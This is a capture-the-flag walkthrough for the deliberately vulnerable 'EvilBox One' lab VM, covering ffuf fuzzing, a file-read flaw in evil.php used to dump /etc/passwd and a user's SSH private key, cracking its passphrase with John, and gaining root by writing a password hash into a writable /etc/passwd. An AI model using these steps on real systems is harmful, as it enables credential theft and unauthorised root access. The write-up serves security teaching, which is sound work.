Vulhub - EvilBox One
EvilBox One writeup
Set up
Download ova file from this link and import it to Oracle VirtualBox.
Recon
Firstly, we use arp command to explore target’s ip address
1
arp -a
The target’s ip address is 192.168.56.101
Then we use nmap to discover open ports in the target
1
nmap -Pn 192.168.56.101 -sV
so the target is running apacher version 2.4.38 and SSH server is enabled. Go to http://192.168.56.101 and see the default page of apache
Use fuff to fuzz endpoints of Apache, the following command use -c for color, -e for file extension and -recursion to enable recursive fuzzing. I used to use seclist web-discovery for word list.
1
ffuf -c -u http://192.168.56.101/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -e '.php' -recursion
Apache has endpoint /secret, and because of -recursion option, ffuf adds fuzzing from /secret to the queue, then it found evil.php file in this route.
Go to /secret/evil.php, it is blank page
Next we will use ffuf to fuzz parameters of evil.php, -X option for request method, -fs to set negative size to 0
1
ffuf -c -u http://192.168.56.101/secret/evil.php?FUZZ=/etc/passwd -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fs 0
and we see that evil.php handles command from request parameters
Open http://192.168.56.101/secret/evil.php?FUZZ=/etc/passwd in the browser and it shows passwd content
RCE
From this path traversal, we use the seclist to dump sensitive files from host. But some files are in user’s home directory, so first we fuzz current user by using .bashrc file
1
ffuf -c -u http://192.168.56.101/secret/evil.php?command=/home/FUZZ/.bashrc -w users.txt -fs 0 -v
so here we see the current user running Apache is mowree, from this we can dump private ssh key from /home/mowree/.ssh/id_rsa
Change permission of id_rsa to 600, then try to use this SSH private key to login mowree but openssh asks for passphrase for key. Maybe we can crack this private key? Save id_rsa to kali machine, use the following commands to crack private key
1
2
3
4
# create hash file from key
ssh2john key.pk > key.hash
# crack hash
john --wordlist=darkweb2017-top10.txt id_rsa.hash
See that the passphrase of private key is unicorn, use it to access target machine
Privilege escalation
Use find command to find files that mowree has write permission
1
find / -type f -writable 2>/dev/null
You see that mowree can write to /etc/passwd, easily use openssl to generate hash for password. For example, the following command is used to generate hash for password root
1
openssl passwd root
Put the output hash to passwd file
and then access to root user with password root
1
su root














